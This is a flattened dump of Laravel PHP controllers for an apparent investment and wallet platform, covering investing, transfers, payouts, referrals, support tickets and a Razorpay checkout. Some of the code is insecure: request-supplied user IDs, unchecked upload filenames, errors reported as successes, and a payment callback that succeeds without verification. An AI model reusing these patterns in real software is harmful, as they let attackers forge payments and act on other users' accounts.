false, 'data'=> [], 'error'=> 'Amount Should be less than this!']); } }else{ if(rootPrice($plan->fixed_amount) < $request->amount){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be greater or equal to '.$plan->fixed_amount]); } } if($request->amount <= rootPrice(auth()->user()->balance)){ $currency = Currency::first(); $invest = new Invest(); $invest->transaction_no = Str::random(12); $invest->user_id = auth()->id(); $invest->plan_id = $plan->id; $invest->currency_id = $currency->id; $invest->method = 'Main Wallet'; $invest->amount = investCurrencyAmount($request->amount); $profitAmount = ($request->amount * $plan->profit_percentage)/100; $invest->profit_amount = investCurrencyAmount($profitAmount); if($plan->lifetime_return){ $invest->lifetime_return = 1; } if($plan->captial_return){ $invest->capital_back = 1; $invest->profit_repeat = 0; } $invest->status = 1; $invest->payment_status = "completed"; $invest->profit_time = Carbon::now()->addHours($plan->schedule_hour); $invest->save(); $user = auth()->user(); $user->balance = $user->balance - investCurrencyAmount($request->amount); $user->update(); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $invest->amount; $trans->type = "Invest"; $trans->txnid = $invest->transaction_no; $trans->user_id = $invest->user_id; $trans->save(); $this->refferalBonus($invest); return response()->json(['status' => true, 'data' => new InvestResource($invest), 'error'=>[]]); }else{ return response()->json(['status' => false, 'data'=> [], 'error'=> 'You don,t have sufficient balance.']); } return response()->json(['status' => false, 'data'=> [], 'error'=> 'No plan exists.']); } }else{ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount should be greater then 0!']); } }catch(\Exception $e){ return response()->json(['status' => false, 'data'=> [], 'error'=> $e->getMessage()]); } } public function interestWallet(Request $request){ try{ if($request->amount>0){ if($plan = Plan::whereId($request->invest_id)->first()){ if($plan->invest_type == 'range'){ if(rootPrice($plan->min_amount) > $request->amount ){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be greater than this!']); } if($request->amount > rootPrice($plan->max_amount)){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be less than this!']); } }else{ if(rootPrice($plan->fixed_amount) < $request->amount){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be greater or equal to '.$plan->fixed_amount]); } } if($request->amount < rootPrice(auth()->user()->interest_balance)){ $currency = Currency::first(); $invest = new Invest(); $invest->transaction_no = Str::random(12); $invest->user_id = auth()->id(); $invest->plan_id = $plan->id; $invest->currency_id = $currency->id; $invest->method = 'Interest Wallet'; $invest->amount = investCurrencyAmount($request->amount); $profitAmount = ($request->amount * $plan->profit_percentage)/100; $invest->profit_amount = investCurrencyAmount($profitAmount); if($plan->lifetime_return){ $invest->lifetime_return = 1; } if($plan->captial_return){ $invest->capital_back = 1; $invest->profit_repeat = 0; } $invest->status = 1; $invest->payment_status = "completed"; $invest->profit_time = Carbon::now()->addHours($plan->schedule_hour); $invest->save(); $user = auth()->user(); $user->interest_balance =$user->interest_balance - investCurrencyAmount($request->amount); $user->update(); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $invest->amount; $trans->type = "Invest"; $trans->txnid = $invest->transaction_no; $trans->user_id = $invest->user_id; $trans->save(); $this->refferalBonus($invest); return response()->json(['status' => true, 'data' => new InvestResource($invest), 'error'=>[]]); }else{ return response()->json(['status' => false, 'data'=> [], 'error'=> 'You don,t have sufficient balance.']); } return response()->json(['status' => false, 'data'=> [], 'error'=> 'No plan exists.']); } }else{ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount should be greater then 0!']); } }catch(\Exception $e){ return response()->json(['status' => false, 'data'=> [], 'error'=> $e->getMessage()]); } } public function investAmount(Request $request){ if($request->amount>0){ if($plan = Plan::whereId($request->plan_id)->first()){ if($plan->invest_type == 'range'){ if(rootPrice($plan->min_amount) > $request->amount ){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be greater than this!']); } if($request->amount > rootPrice($plan->max_amount)){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be less than this!']); } }else{ if(rootPrice($plan->fixed_amount) > $request->amount){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be greater or equal to '.$plan->fixed_amount]); } } $invest = new Invest(); $invest->transaction_no = Str::random(12); $invest->user_id = $request->user_id; $invest->plan_id = $request->plan_id; $invest->currency_id = $request->currency_id; $invest->amount = investCurrencyAmount($request->amount); $invest->profit_amount = investCurrencyAmount(($request->amount * $plan->profit_percentage)/100); if($plan->lifetime_return){ $invest->lifetime_return = 1; } if($plan->captial_return){ $invest->capital_back = 1; $invest->profit_repeat = 0; } $invest->status = 0; $invest->payment_status = "pending"; $invest->save(); $route = route('api.user.invest.checkout',$invest->id); return response()->json(['status' => true, 'data' => ['invest_data' => new InvestCheckoutResource($invest), 'checkout_route' => $route], 'error'=>[]]); } }else{ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount should be greater then 0!']); } } public function checkout($id){ $data['invest'] = Invest::findOrFail($id); $data['invest_currency'] = Currency::findOrFail($data['invest']->currency_id); $data['gateways'] = PaymentGateway::where('status',1)->get(); return view('user.invest.api_checkout',$data); } public function refferalBonus($order){ if($this->gs->is_affilate == 1){ $referralUser = User::whereId($order->user_id)->first(); if(Session::has('affilate') || ($referralUser != NULL && $referralUser->referral_id != 0)){ if(Session::has('affilate')){ $this->referralUsers(Session::get('affilate')); }else{ if($referralUser->referral_id != 0){ $this->referralUsers($referralUser->referral_id); } } $referral_ids = $this->allReferralId(); if(count($this->allusers) >0){ $users = array_reverse($this->allusers); foreach($users as $key=>$data){ $user = User::findOrFail($data); if($referral = Referral::findOrFail($referral_ids[$key])){ $referralAmount = ($order->amount * $referral->percent)/100; $bonus = new ReferralBonus(); $bonus->from_user_id = auth()->id(); $bonus->to_user_id = $user->id; $bonus->percentage = $referral->percent; $bonus->level = $referral->level; $bonus->amount = $referralAmount; $bonus->type = 'invest'; $bonus->save(); $to_user = User::findOrFail($bonus->to_user_id); $trans = new Transaction(); $trans->email = $to_user->email; $trans->amount = $referralAmount; $trans->type = "Referral Bonus"; $trans->txnid = $order->transaction_no; $trans->user_id = $to_user->id; $trans->profit = 'plus'; $trans->save(); if($this->gs->is_smtp == 1) { $data = [ 'to' => $to_user->email, 'type' => "referral bonus", 'cname' => $to_user->name, 'oamount' => $referralAmount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $to_user->email; $subject = "Referral Bonus"; $msg = "Hello ".$to_user->name."!\nYou got bonus from referral.\nThank you."; $headers = "From: ".$this->gs->from_name."<".$this->gs->from_email.">"; mail($to,$subject,$msg,$headers); } $user->increment('balance',$referralAmount); $referralAmount = 0; } } } } } } public function allReferralId(){ $referrals = Referral::where('commission_type','invest')->get(); if(count($referrals)>0){ foreach($referrals as $key=>$data){ $this->referral_ids[] = $data->id; } return $this->referral_ids; } } public function referralUsers($id) { $referral = Referral::where('commission_type','invest')->get(); for($i=1; $i<=count($referral); $i++){ $user = User::findOrFail($id); $this->allusers[] = $user->id; if($user->referral_id){ $id = $user->referral_id; }else{ return false; } } return $this->allusers; } } Controllers/Api/User/SupportController.php 0000644 00000007043 15111246742 0014741 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Http\Controllers\Controller; use App\Http\Resources\SupportTicketResource; use App\Http\Resources\TicketReplyResource; use App\Models\AdminUserConversation; use App\Models\AdminUserMessage; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class SupportController extends Controller { public function allTickets(){ try{ $support_tickets = AdminUserConversation::whereUserId(auth()->id())->paginate(10); return response()->json(['status'=>true, 'data'=>SupportTicketResource::collection($support_tickets), 'error'=>[]]); }catch(\Exception $e){ return response()->json(['status'=>false, 'data'=>[], 'error'=>$e->getMessage()]); } } public function store(Request $request) { try{ $rules = [ 'subject' => 'required', 'message' => 'required', 'attachment' => 'required|mimes:png,jpeg,gif', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $ticket = new AdminUserConversation(); $input = $request->all(); $input['ticket_number'] = '#TKT'.random_int(100000, 999999); $input['user_id'] = auth()->id(); if ($file = $request->file('attachment')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['attachment'] = $name; } $ticket->fill($input)->save(); $conversation = new AdminUserMessage(); $conversation->conversation_id = $ticket->id; $conversation->user_id = auth()->id(); $conversation->message = $request->message; $conversation->photo = $ticket->attachment; $conversation->save(); return response()->json(['status' => true, 'data' => new SupportTicketResource($ticket), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function show($id){ try{ $data = AdminUserConversation::whereId($id)->first(); $replies = $data->messages; return response()->json(['status' => true, 'data' => TicketReplyResource::collection($replies), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function reply(Request $request, $id){ try{ $data = new AdminUserMessage(); $data->conversation_id = $id; $data->user_id = auth()->id(); $data->message = $request->message; if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $data->photo = $name; } $data->save(); return response()->json(['status' => true, 'data' => new TicketReplyResource($data), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } } Controllers/Api/User/RequestController.php 0000644 00000012651 15111246742 0014716 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Http\Controllers\Controller; use App\Http\Resources\MoneyRequestResource; use App\Models\Generalsetting; use App\Models\MoneyRequest; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class RequestController extends Controller { public function requestHistory(){ try{ $requests = MoneyRequest::orderby('id','desc')->whereUserId(auth()->id())->paginate(10); return response()->json(['status' => true, 'data' => MoneyRequestResource::collection($requests), 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=>false, 'data'=>[], 'error'=>$e->getMessage()]); } } public function store(Request $request){ try{ $rules = [ 'email' => 'required', 'name' => 'required', 'amount' => 'required|gt:0', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $user = auth()->user(); $gs = Generalsetting::first(); if($request->email == $user->email){ return response()->json(['status' => false, 'data' => [], 'error' => 'You can not send money yourself!!']); } $user = User::where('email',$request->email)->first(); if($user === null){ return response()->json(['status' => false, 'data' => [], 'error' => 'No register user with this email!']); } $cost = $gs->fixed_request_charge + ($request->amount/100) * $gs->percentage_request_charge; $finalAmount = $request->amount + $cost; $receiver = User::where('email',$request->email)->first(); $txnid = Str::random(4).time(); $data = new MoneyRequest(); $data->user_id = auth()->user()->id; $data->receiver_id = $receiver->id; $data->receiver_name = $receiver->name; $data->transaction_no = $txnid; $data->cost = $cost; $data->amount = $request->amount; $data->status = 0; $data->details = $request->details; $data->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $finalAmount; $trans->type = "Request Money"; $trans->profit = "plus"; $trans->txnid = $txnid; $trans->user_id = $user->id; $trans->save(); return response()->json(['status' => true, 'data' => 'Request Money Send Successfully', 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function receiveHistory(){ try{ $requests = MoneyRequest::orderby('id','desc')->whereReceiverId(auth()->id())->paginate(10); return response()->json(['status' => true, 'data' => MoneyRequestResource::collection($requests), 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=>false, 'data'=>[], 'error'=>$e->getMessage()]); } } public function send($id){ try{ $data = MoneyRequest::findOrFail($id); $sender = User::whereId($data->receiver_id)->first(); $receiver = User::whereId($data->user_id)->first(); if($data->amount > $sender->balance){ return response()->json(['status' => false, 'data' => [], 'error' => 'You don,t have sufficient balance!']); } $finalAmount = $data->amount - $data->cost; $sender->decrement('balance',$data->amount); $receiver->increment('balance',$finalAmount); $data->update(['status'=>1]); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $data->amount; $trans->type = "Request Money"; $trans->profit = "minus"; $trans->txnid = $data->transaction_no; $trans->user_id = auth()->id(); $trans->save(); $trans = new Transaction(); $trans->email = $receiver->email; $trans->amount = $finalAmount; $trans->type = "Request Money"; $trans->profit = "plus"; $trans->txnid = $data->transaction_no; $trans->user_id = $receiver->id; $trans->save(); return response()->json(['status' => true, 'data' => 'Money Send Successfully', 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function details($id){ try{ $data = MoneyRequest::findOrFail($id); $from = User::whereId($data->user_id)->first(); $to = User::whereId($data->receiver_id)->first(); return response()->json(['status' => true, 'data' => new MoneyRequestResource($data), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } } Controllers/Api/User/DepositController.php 0000644 00000004214 15111246742 0014671 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Http\Controllers\Controller; use App\Http\Resources\DepositResource; use App\Models\Currency; use App\Models\Deposit; use App\Models\PaymentGateway; use Illuminate\Http\Request; use Illuminate\Support\Str; class DepositController extends Controller { public function history(){ try{ $deposits = Deposit::orderby('id','desc')->whereUserId(auth()->id())->paginate(10); return response()->json(['status' => true, 'data' => DepositResource::collection($deposits), 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=>false, 'data'=>[], 'error'=>$e->getMessage()]); } } public function deposit(Request $request){ try{ $currency = Currency::where('id',$request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $deposit = new Deposit(); $deposit['deposit_number'] = Str::random(12); $deposit['user_id'] = $request->user_id; $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $amountToAdd; $deposit['status'] = "pending"; $deposit->save(); $route = route('api.user.deposit.confirm',$deposit->id); return response()->json(['status' => true, 'data' => ['deposit_data' => new DepositResource($deposit), 'deposit_route' => $route], 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=>false, 'data'=>[], 'error'=>$e->getMessage()]); } } public function confirm_deposit($id){ $data['deposit'] = Deposit::findOrFail($id); $data['deposit_currency'] = Currency::findOrFail($data['deposit']->currency_id); $data['availableGatways'] = ['block.io.btc','block.io.ltc','block.io.dgc','flutterwave','authorize.net','paystack','razorpay','mollie','paytm','instamojo','stripe','paypal','mercadopago','skrill','perfectmoney','payeer']; $data['gateways'] = PaymentGateway::OrderBy('id','desc')->whereStatus(1)->get(); return view('user.deposit.api_deposit',$data); } } Controllers/Api/User/TransferController.php 0000644 00000010310 15111246742 0015040 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Http\Controllers\Controller; use App\Http\Resources\BalanceTransferResource; use App\Models\BalanceTransfer; use App\Models\Generalsetting; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class TransferController extends Controller { public function history(){ try{ $transfers = BalanceTransfer::whereUserId(auth()->id())->orderBy('id','desc')->paginate(10); return response()->json(['status' => true, 'data' => BalanceTransferResource::collection($transfers), 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=>false, 'data'=>[], 'error'=>$e->getMessage()]); } } public function store(Request $request){ try{ $rules = [ 'email' => 'required', 'name' => 'required', 'amount' => 'required|gt:0', 'wallet' => 'required', 'password' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $user = auth()->user(); if(!Hash::check($request->password,$user->password)){ return response()->json(['status' => false, 'data' => [], 'error' => 'Password does not match!']); } if($request->wallet == 'main_balance'){ if($request->amount > $user->balance){ return response()->json(['status' => false, 'data' => [], 'error' => 'Insufficient Main Account Balance.']); } }else{ if($request->amount > $user->interest_balance){ return response()->json(['status' => false, 'data' => [], 'error' => 'Insufficient Main Account Balance.']); } } $gs = Generalsetting::first(); if($request->email == $user->email){ return response()->json(['status' => false, 'data' => [], 'error' => 'You can not send money yourself!!']); } if($receiver = User::where('email',$request->email)->first()){ $txnid = Str::random(4).time(); $data = new BalanceTransfer(); $data->user_id = $user->id; $data->receiver_id = $receiver->id; $data->transaction_no = $txnid; $data->cost = 0; $data->amount = $request->amount; $data->status = 1; $data->save(); $receiver->increment('balance',$request->amount); if($request->wallet == 'main_balance'){ $user->decrement('balance',$request->amount); }else{ $user->decrement('interest_balance',$request->amount); } $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $request->amount; $trans->type = "Send Money"; $trans->profit = "minus"; $trans->txnid = $txnid; $trans->user_id = $user->id; $trans->save(); $receivertrans = new Transaction(); $receivertrans->email = $receiver->email; $receivertrans->amount = $request->amount; $receivertrans->type = "Receive Money"; $receivertrans->profit = "plus"; $receivertrans->txnid = $txnid; $receivertrans->user_id = $receiver->id; $receivertrans->save(); return response()->json(['status' => true, 'data' => 'Money Send Successfully', 'error' => []]); }else{ return response()->json(['status' => false, 'data' => [], 'error' => 'Sender not found!']); } } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } } Controllers/Api/User/ReferralController.php 0000644 00000002214 15111246742 0015022 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Http\Controllers\Controller; use App\Http\Resources\ReferralCommissionResource; use App\Http\Resources\ReferrarResource; use App\Models\ReferralBonus; use App\Models\User; use Illuminate\Http\Request; class ReferralController extends Controller { public function referred(){ try{ $referreds = User::where('referral_id',auth()->id())->orderBy('id','desc')->paginate(20); return response()->json(['status' => true, 'data' => ReferrarResource::collection($referreds), 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=> false, 'data'=>[], 'error'=> $e->getMessage()]); } } public function commissions(){ try{ $commissions = ReferralBonus::where('to_user_id',auth()->id())->orderBy('id','desc')->paginate(20); return response()->json(['status' => true, 'data' => ReferralCommissionResource::collection($commissions), 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=> false, 'data'=>[], 'error'=> $e->getMessage()]); } } } Controllers/Api/User/PayoutController.php 0000644 00000014744 15111246742 0014554 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Http\Resources\WithdrawMethodResource; use App\Http\Resources\WithdrawResource; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Transaction; use App\Models\Withdraw; use App\Models\WithdrawMethod; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class PayoutController extends Controller { public function methods(){ try { $methods = WithdrawMethod::whereStatus(1)->orderBy('id','desc')->get(); $withdraws = Withdraw::whereUserId(auth()->id())->orderBy('id','desc')->limit(6)->get(); return response()->json(['status' => true, 'data' => ['withdraws'=>WithdrawResource::collection($withdraws),'methods'=>WithdrawMethodResource::collection($methods)], 'error' => []]); } catch (\Exception $e) { return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function history(Request $request){ try{ $transaction_type = ['all','pending','completed','rejected']; $available_type = $withdraws = Withdraw::when($request->trx_no,function($query) use ($request){ return $query->where('txnid', $request->trx_no); }) ->when($request->type,function($query) use ($request){ if($request->type != 'all'){ return $query->where('status',$request->type); }else{ } }) ->whereUserId(auth()->id())->orderBy('id','desc')->paginate(10); return response()->json(['status' => true, 'data' => ['transaction_type'=>$transaction_type,'transactions'=> WithdrawResource::collection($withdraws)], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function store(Request $request){ try{ $rules = [ 'amount' => 'required|gt:0' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $user = auth()->user(); $method = WithdrawMethod::whereId($request->method_id)->first(); if($method->min_amount > $request->amount){ return response()->json(['status' => false, 'data' => [], 'error' => 'Min Amount is '.$method->min_amount]); } if($request->amount > $method->max_amount){ return response()->json(['status' => false, 'data' => [], 'error' => 'Max Amount is '.$method->max_amount]); } $currency = Currency::whereId($method->currency_id)->first(); $amountToDeduct = $request->amount/$currency->value; $fee = (($method->percentage / 100) * $request->amount) + $method->fixed; $fee = $fee/$currency->value; $finalamount = $amountToDeduct + $fee; if($request->withdraw_wallet == 'main_wallet'){ if($finalamount > $user->balance){ return response()->json(['status' => false, 'data' => [], 'error' => 'Insufficient Balance.']); } }else{ if($finalamount > $user->interest_balance){ return response()->json(['status' => false, 'data' => [], 'error' => 'Insufficient Balance.']); } } $finalamount = number_format((float)$finalamount,2,'.',''); if($request->withdraw_wallet == 'main_wallet'){ $user->balance = $user->balance - $finalamount; }else{ $user->interest_balance = $user->interest_balance - $finalamount; } $user->update(); $txnid = Str::random(12); $newwithdraw = new Withdraw(); $newwithdraw['user_id'] = auth()->id(); $newwithdraw['currency_id'] = $method->currency_id; $newwithdraw['method'] = $method->name; $newwithdraw['txnid'] = $txnid; $newwithdraw['amount'] = $amountToDeduct; $newwithdraw['fee'] = $fee; $newwithdraw['details'] = $request->details; $newwithdraw->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $finalamount; $trans->type = "Payout"; $trans->profit = "minus"; $trans->txnid = $txnid; $trans->user_id = $user->id; $trans->save(); $gs = Generalsetting::findOrFail(1); $to = $user->email; $subject = 'Withdraw'; $msg = "Dear Customer,<br> Your withdraw in process."; if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Withdraw", 'cname' => $user->name, 'oamount' => $newwithdraw->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return response()->json(['status' => true, 'data' => 'Withdraw Requesting Successfully', 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function details($id){ try { $withdraw = Withdraw::findOrFail($id); return response()->json(['status' => true, 'data' => WithdrawResource::collection($withdraw), 'error' => []]); } catch (\Exception $e) { return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } } Controllers/Api/User/DashboardController.php 0000644 00000005512 15111246742 0015153 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Http\Controllers\Controller; use App\Http\Resources\TransactionResource; use App\Models\Invest; use App\Models\Deposit; use App\Models\Withdraw; use App\Models\Transaction; use Illuminate\Http\Request; use App\Models\ReferralBonus; use App\Models\AdminUserConversation; class DashboardController extends Controller { public function dashboard(){ try{ $data['user'] = auth()->guard('api')->user(); $data['transactions'] = Transaction::whereUserId(auth()->id())->orderBy('id','desc')->limit(5)->get(); $data['total_deposits'] = showPrice(Deposit::whereUserId(auth()->id())->whereStatus('complete')->sum('amount')); $data['total_invests'] = showPrice(Invest::whereUserId(auth()->id())->whereStatus(1)->sum('amount')); $data['total_withdraws'] = showPrice(Withdraw::whereUserId(auth()->id())->whereStatus('completed')->sum('amount')); $data['total_transactions'] = showPrice(Transaction::whereUserId(auth()->id())->sum('amount')); $data['total_tickets'] = AdminUserConversation::whereUserId(auth()->id())->count(); $data['total_referral_bonus'] = showPrice(ReferralBonus::wheretoUserId(auth()->id())->sum('amount')); return response()->json(['status' => true, 'data' => $data, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } public function transactions(Request $request){ try{ $transaction_type = ['all','Deposit','Payout','ReferralBonus','SendMoney','ReceiveMoney','Invest','InterestMoney','RequestMoney','PayoutRejected']; $transactions = Transaction::whereUserId(auth()->id()) ->when($request->trx_no,function($query) use ($request){ return $query->where('transaction_no', $request->trx_no); }) ->when($request->type,function($query) use ($request){ if($request->type != 'all'){ return $query->where('type',$request->type); }else{ } }) ->whereUserId(auth()->id())->orderBy('id','desc')->paginate(20); return response()->json(['status' => true, 'data' => ['transaction_type'=>$transaction_type,'transactions'=> TransactionResource::collection($transactions)], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } } Controllers/Api/User/UserController.php 0000644 00000007263 15111246742 0014207 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Http\Resources\UserResource; use App\Models\Generalsetting; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; class UserController extends Controller { public function update(Request $request) { try{ $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', 'email' => 'unique:users,email,'.auth()->user()->id ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $input = $request->all(); $user = auth()->user(); if ($file = $request->file('photo')) { $name = time().$file->getClientOriginalName(); $file->move('assets/images/',$name); @unlink('assets/images/'.$user->photo); $input['photo'] = $name; $input['is_provider'] = 0; } $user->update($input); $gs = Generalsetting::first(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "profile update", 'cname' => $user->name, 'oamount' => "", 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $data->email; $subject = "Your profile has been update"; $msg = "Hello ".$data->name."!\nYour profile has been updated successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return response()->json(['status' => true, 'data' => new UserResource($user), 'error' => []]); }catch(\Exception $e){ return response()->json(['status'=>false, 'data'=>[], 'error'=>$e->getMessage()]); } } public function updatePassword(Request $request) { $rules = [ 'current_password' => 'required', 'new_password' => 'required', 'renew_password' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } try{ $user = auth()->user(); if (Hash::check($request->current_password, $user->password)){ if ($request->new_password == $request->renew_password){ $input['password'] = Hash::make($request->new_password); }else{ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => 'Confirm password does not match.']]); } }else{ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => 'Current password Does not match.']]); } $user->update($input); return response()->json(['status' => true, 'data' => ['message' => 'Successfully changed your password.'], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => $e->getMessage()]); } } } Controllers/Checkout/RazorpayController.php 0000644 00000012213 15111246742 0015205 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use Illuminate\Support\Facades\Session; use App\Repositories\OrderRepository; use App\Http\Controllers\Controller; use App\Models\Currency; use Illuminate\Support\Facades\Auth; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use Illuminate\Http\Request; use Illuminate\Support\Str; use Razorpay\Api\Api; class RazorpayController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $data = PaymentGateway::whereKeyword('razorpay')->first(); $paydata = $data->convertAutoData(); $this->keyId = $paydata['key']; $this->keySecret = $paydata['secret']; $this->displayCurrency = 'INR'; $this->api = new Api($this->keyId, $this->keySecret); $this->orderRepositorty = $orderRepositorty; } public function store(Request $request) { if($request->currency_code != "INR") { return redirect()->back()->with('unsuccess','Please Select INR Currency For Rezorpay.'); } $settings = Generalsetting::findOrFail(1); $order = new Invest(); $item_name = $settings->title." Invest"; $item_number = Str::random(12); $currency = Currency::whereId($request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $order['item_name'] = $item_name; $order['item_number'] = $item_number; $order['item_amount'] = round($amountToAdd,2); $cancel_url = route('checkout.paypal.cancel'); $notify_url = route('checkout.razorpay.notify'); $orderData = [ 'receipt' => $order['item_number'], 'amount' => $order['item_amount'] * 100, 'currency' => 'INR', 'payment_capture' => 1 ]; $razorpayOrder = $this->api->order->create($orderData); $input['user_id'] = auth()->user()->id; Session::put('input_data',$request->all()); Session::put('order_data',$order); Session::put('order_payment_id', $razorpayOrder['id']); $displayAmount = $amount = $orderData['amount']; if ($this->displayCurrency !== 'INR') { $url = "https://api.fixer.io/latest?symbols=$this->displayCurrency&base=INR"; $exchange = json_decode(file_get_contents($url), true); $displayAmount = $exchange['rates'][$this->displayCurrency] * $amount / 100; } $checkout = 'automatic'; if (isset($_GET['checkout']) and in_array($_GET['checkout'], ['automatic', 'manual'], true)) { $checkout = $_GET['checkout']; } $data = [ "key" => $this->keyId, "amount" => $amount, "name" => $order['item_name'], "description" => $order['item_name'], "prefill" => [ "name" => $request->customer_name, "email" => $request->customer_email, "contact" => $request->customer_phone, ], "notes" => [ "address" => $request->customer_address, "merchant_order_id" => $order['item_number'], ], "theme" => [ "color" => "{{$settings->colors}}" ], "order_id" => $razorpayOrder['id'], ]; if ($this->displayCurrency !== 'INR') { $data['display_currency'] = $this->displayCurrency; $data['display_amount'] = $displayAmount; } $json = json_encode($data); $displayCurrency = $this->displayCurrency; return view( 'frontend.razorpay-checkout', compact( 'data','displayCurrency','json','notify_url' ) ); } public function notify(Request $request) { $input_data = $request->all(); $payment_id = Session::get('order_payment_id'); $success = true; if (empty($input_data['razorpay_payment_id']) === false) { try { $attributes = array( 'razorpay_order_id' => $payment_id, 'razorpay_payment_id' => $input_data['razorpay_payment_id'], 'razorpay_signature' => $input_data['razorpay_signature'] ); $this->api->utility->verifyPaymentSignature($attributes); } catch(SignatureVerificationError $e) { $success = false; } } if ($success === true){ $addionalData = ['txnid'=>$payment_id]; $this->orderRepositorty->OrderFromSession($request,'complete',$addionalData); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } return redirect()->route('user.invest.checkout')->with('warning','Payment Cancelled!'); } } Controllers/Checkout/BlockIoController.php 0000644 00000015613 15111246742 